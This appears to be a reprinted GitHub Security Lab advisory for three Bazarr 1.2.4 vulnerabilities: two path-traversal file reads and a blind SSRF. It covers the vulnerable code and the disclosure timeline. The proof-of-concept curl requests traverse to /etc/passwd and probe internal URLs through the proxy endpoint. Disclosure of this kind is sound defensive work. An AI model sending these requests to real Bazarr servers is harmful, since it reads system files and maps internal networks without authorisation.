Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-50266: GHSL-2023-192_GHSL-2023-194: Several vulnerabilities in bazarr - CVE-2023-50264, CVE-2023-50265, CVE-2023-50266

Bazarr manages and downloads subtitles. In version 1.2.4, the proxy method in bazarr/bazarr/app/ui.py does not validate the user-controlled protocol and url variables and passes them to requests.get() without any sanitization, which leads to a blind server-side request forgery (SSRF). This issue allows for crafting GET requests to internal and external resources on behalf of the server. 1.3.1 contains a partial fix, which limits the vulnerability to HTTP/HTTPS protocols.

CVE
#vulnerability#web#js#git#ssrf#auth

Coordinated Disclosure Timeline

  • 2023-09-18: Sent report to the maintainer.
  • 2023-09-18: Received a reply with fixes for the two Arbitrary File Read issues and a question about the Blind SSRF one.
  • 2023-09-19: Answered with a few possible fixes for the SSRF issue and asked to create an advisory.
  • 2023-09-29: Received a response, with a partial fix to the SSRF, which limits the vulnerability to HTTP/HTTPS protocols.
  • 2023-12-11: Sent a reminder about creating advisories and assigning CVEs.
  • 2023-12-13: Received a response from the maintainer that they don’t find it necessary to publish CVEs for these vulnerabilities. GitHub Security Lab finds it valuable to publish CVEs for the issues to provide transparency and inform the users about the vulnerabilities. The Security Lab requested CVEs for the issues.

Summary

Bazarr is vulnerable to unauthenticated arbitrary file reads in two endpoints and a blind server-side request forgery (SSRF).

Project

bazarr

Tested Version

v1.2.4

Details****Issue 1: Arbitrary file read in /system/backup/download/ endpoint (GHSL-2023-192)

The /system/backup/download/ endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system.

backup_download method in bazarr/app/ui.py

@check_login
@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])
def backup_download(filename):
    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)

This issue was found with the CodeQL query Uncontrolled data used in path expression.

Impact

This issue may lead to unauthenticated arbitrary file read.

PoC

  1. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.

  2. Send the following request.

    curl -X GET 'http://127.0.0.1:6767/system/backup/download/../../../../../../../etc/passwd' --path-as-is
    
  3. Observe that /etc/passwd is displayed in the response.

Issue 2: Arbitrary file read in /api/swaggerui/static endpoint (GHSL-2023-193)

The /api/swaggerui/static endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system.

swaggerui_static method in bazarr/app/ui.py

@ui_bp.route('/api/swaggerui/static/<path:filename>', methods=['GET'])
def swaggerui_static(filename):
    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',
                     'static', filename))

This issue was found with the CodeQL query Uncontrolled data used in path expression.

Impact

This issue may lead to arbitrary file read.

PoC

1… Start Bazarr. We assume that it is running on http://127.0.0.1:6767.

  1. Send the following request.

    curl -X GET 'http://127.0.0.1:6767/api/swaggerui/static/../../../../../../../etc/passwd' --path-as-is
    
  2. Observe that /etc/passwd is displayed in the response.

Issue 3: Blind Server-Side Request Forgery (SSRF) in the /test/<protocol>/ endpoint (GHSL-2023-194)

The proxy method in bazarr/bazarr/app/ui.py does not validate the user-controlled protocol and url variables and passes them to requests.get() without any sanitization, which leads to a server-side request forgery. Since the contents of the response to the GET request are not visible to the one making the request (the contents are visible only if there’s a JSON in the response with a “version” key value pair, see lines 168-171), this is a blind server-side request forgery.

proxy method

def proxy(protocol, url):
    url = protocol + '://' + unquote(url)
    params = request.args
    try:
        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)
    except Exception as e:
        return dict(status=False, error=repr(e))
    else:
        if result.status_code == 200:
            try:
                version = result.json()['version']
                return dict(status=True, version=version)
            except Exception:
                return dict(status=False, error='Error Occurred. Check your settings.')
        elif result.status_code == 401:
            return dict(status=False, error='Access Denied. Check API key.')
        elif result.status_code == 404:
            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')
        elif 300 <= result.status_code <= 399:
            return dict(status=False, error='Wrong URL Base.')
        else:
            return dict(status=False, error=result.raise_for_status())

This issue was found with the CodeQL query Full server-side request forgery.

Impact

This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for determining whether certain resources on the internal network exist or not, even though these resources may not be accessible on the internet.

Proof of Concept

  1. Start a simple python web server in a folder containing a example file called file.txt with python -m http.server 9000 This command will serve the file.txt file on http://127.0.0.1:9000

  2. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.

  3. Send the following request.

    curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/file.txt'
    
  4. If the file exists, the response will be:

    {
      "error": "Error Occurred. Check your settings.",
      "status": false
    }
    

    You can also test if a file doesn’t exist by sending a request for a resource that doesn’t exist, like foo.txt, for example:

    curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/foo.txt'
    

    If the file doesn’t exist, the response will be:

    {
      "error": "Cannot get version. Maybe unsupported legacy API call?",
      "status": false
    }
    

Resources

SSRF prevention cheatsheet

  • GHSL-2023-192 has CVE-2023-50264
  • GHSL-2023-193 has CVE-2023-50265
  • GHSL-2023-194 has CVE-2023-50266

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-192, GHSL-2023-193, or GHSL-2023-194 in any communication regarding these issues.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907